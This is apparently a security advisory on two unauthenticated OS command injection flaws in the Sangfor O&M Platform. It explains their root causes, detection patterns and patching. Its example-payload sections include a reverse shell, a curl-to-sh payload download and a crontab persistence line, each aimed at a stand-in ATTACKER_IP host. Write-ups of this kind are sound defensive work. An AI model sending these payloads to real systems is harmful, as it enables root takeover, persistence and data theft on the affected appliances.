Affected Product Information
| Product | Vendor | Component | Typical Exposure |
|---|---|---|---|
| Sangfor O&M Platform | Sangfor | Operations & Maintenance Management Service | Management interface (HTTP/HTTPS) |
The Sangfor O&M platform is commonly deployed as a centralized management interface for Sangfor security and infrastructure products. In many environments, it is reachable from internal networks and, in some cases, mistakenly exposed to the internet.
Vulnerability Summary
| CVE ID | Affected Function | Vulnerability Type | Attack Vector | Authentication | CVSS v3.1 | Severity | Exploitability | Exploit Availability |
|---|---|---|---|---|---|---|---|---|
| CVE-2025-15501 | sessionPath parameter | OS Command Injection | Remote | None | 9.8 | Critical | Very High | Public techniques exist |
| CVE-2025-15500 | getHis handler | OS Command Injection | Remote | None | 9.1 | Critical | High | Easily weaponized |
CVE-2025-15501
OS Command Injection via sessionPath
Vulnerability Information
| Field | Description |
|---|---|
| CVE ID | CVE-2025-15501 |
| Vulnerability Class | Improper Neutralization of OS Commands |
| CWE | CWE-78 |
| Privilege Level Achieved | Root |
| Scope | Complete system compromise |
| Attack Complexity | Low |
Vulnerability Description
CVE-2025-15501 exists due to unsafe handling of the sessionPath parameter within the Sangfor O&M backend.
This parameter is designed to indicate file system paths related to session handling. However, it is directly embedded into shell-level commands without validation, escaping, or restriction.
As a result, an attacker can inject arbitrary operating system commands by including shell metacharacters. These commands are executed by the underlying operating system with high-level privileges, typically as the root user.
Root Cause Analysis
- User-supplied input is trusted without validation
- Shell commands are constructed using string concatenation
- No allow-list of acceptable path values
- No separation between data and command context
- Backend service runs with elevated privileges
This combination results in a classic but highly dangerous OS command injection vulnerability.
Exploitation Mechanics
An attacker does not need credentials or prior access.
By sending a crafted HTTP request to the vulnerable endpoint, the attacker can escape the intended command context and inject new commands.
Typical Exploitation Steps
- Identify a reachable Sangfor O&M management endpoint
- Craft an HTTP request containing a malicious
sessionPath - Use shell separators to append OS commands
- Receive command output or establish a reverse shell
- Maintain persistence or pivot further into the network
Example Payloads (Educational Awareness)
Simple command execution:
sessionPath=/tmp;whoami
File system modification:
sessionPath=/var/log;echo hacked > /tmp/status.txt
Reverse shell execution:
sessionPath=/tmp;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
These payloads demonstrate how easily the vulnerability can be weaponized.
Business and Security Impact
- Full remote code execution without authentication
- Ability to disable security services
- Extraction of credentials, tokens, and configuration data
- Deployment of malware or ransomware
- Use of the compromised system as a pivot point for lateral movement
- Long-term persistence through cron jobs or startup scripts
MITRE ATT&CK Mapping
| Tactic | Technique ID | Description |
|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application |
| Execution | T1059 | Command and Scripting Interpreter |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation |
| Persistence | T1547 | Boot or Logon Autostart Execution |
| Defense Evasion | T1070 | Indicator Removal |
| Lateral Movement | T1021 | Remote Services |
Detection and Monitoring
Recommended Log Sources
- Sangfor O&M application logs
- Web server access and error logs
- Linux audit logs (process execution)
- Syslog and authentication logs
- Firewall and IDS/IPS logs
Detection Logic
Web request inspection:
Parameter name: sessionPath
Pattern: ; | && | || | ` | $()
SIEM correlation logic:
IF request contains "sessionPath"
AND request contains shell metacharacters
AND source is unauthenticated
THEN generate high-severity alert
Host-based indicators:
- Unexpected execution of
/bin/shor/bin/bash - O&M service spawning network utilities
- Files created in temporary directories
Remediation and Mitigation
Immediate Mitigations
- Restrict access to the O&M interface at the network layer
- Block management ports from untrusted networks
- Monitor outbound connections from the appliance
- Assume compromise if exposure existed
Official Patch
Sangfor has released an official fix addressing this vulnerability.
Official patch link:
https://support.sangfor.com.cn/security-advisory
Apply the patch as soon as possible and reboot the system after installation.
CVE-2025-15500
OS Command Injection via getHis Handler
Vulnerability Information
| Field | Description |
|---|---|
| CVE ID | CVE-2025-15500 |
| Vulnerability Class | OS Command Injection |
| CWE | CWE-78 |
| Privilege Level Achieved | Root |
| Scope | Full system takeover |
| Attack Complexity | Low |
Vulnerability Description
CVE-2025-15500 affects the getHis handler, which is responsible for retrieving historical operational and maintenance data.
The handler accepts user input that is later used to construct system-level commands for log retrieval and parsing.
Because this input is not sanitized or restricted, an attacker can inject arbitrary shell commands that execute immediately when the handler processes the request.
Technical Details
- User input concatenated into shell commands
- No validation or encoding
- No authentication checks
- Executed by a privileged backend service
The vulnerability allows attackers to completely break out of the intended command flow.
Exploitation Scenario
- Attacker sends a crafted request targeting the
getHisendpoint - Input includes shell command separators
- Backend executes injected commands
- Attacker gains direct OS-level control
Example Payloads
System information disclosure:
getHis=history;uname -a
Payload download and execution:
getHis=data;curl http://ATTACKER_IP/payload.sh | sh
Persistence creation:
getHis=logs;echo "* * * * * root /bin/bash -c '...' " >> /etc/crontab
Impact
- Complete compromise of the O&M appliance
- Persistent unauthorized access
- Tampering or deletion of logs
- Data exfiltration
- Use of system for internal reconnaissance and attacks
MITRE ATT&CK Mapping
| Tactic | Technique ID | Description |
|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application |
| Execution | T1059 | Command and Scripting Interpreter |
| Persistence | T1547 | Autostart Execution |
| Defense Evasion | T1070 | Indicator Removal |
Detection and Monitoring
Relevant Log Sources
- Application handler logs
- Linux process execution logs
- Network traffic logs
- SIEM event correlation data
Detection Patterns
Request content inspection:
getHis=.*(;|\||&&|\$\(|`)
Endpoint monitoring:
- O&M service launching shell interpreters
- Unusual child processes
- Network connections initiated by management services
Remediation
Short-Term Actions
- Immediately limit access to the management interface
- Monitor for indicators of compromise
- Reset credentials if exposure is suspected
Official Patch
Official vendor patch:
https://support.sangfor.com.cn/security-advisory
Final Takeaway
Both CVE-2025-15501 and CVE-2025-15500 allow unauthenticated remote root-level command execution.
Any exposed Sangfor O&M instance should be treated as high risk and prioritized for immediate patching and investigation.
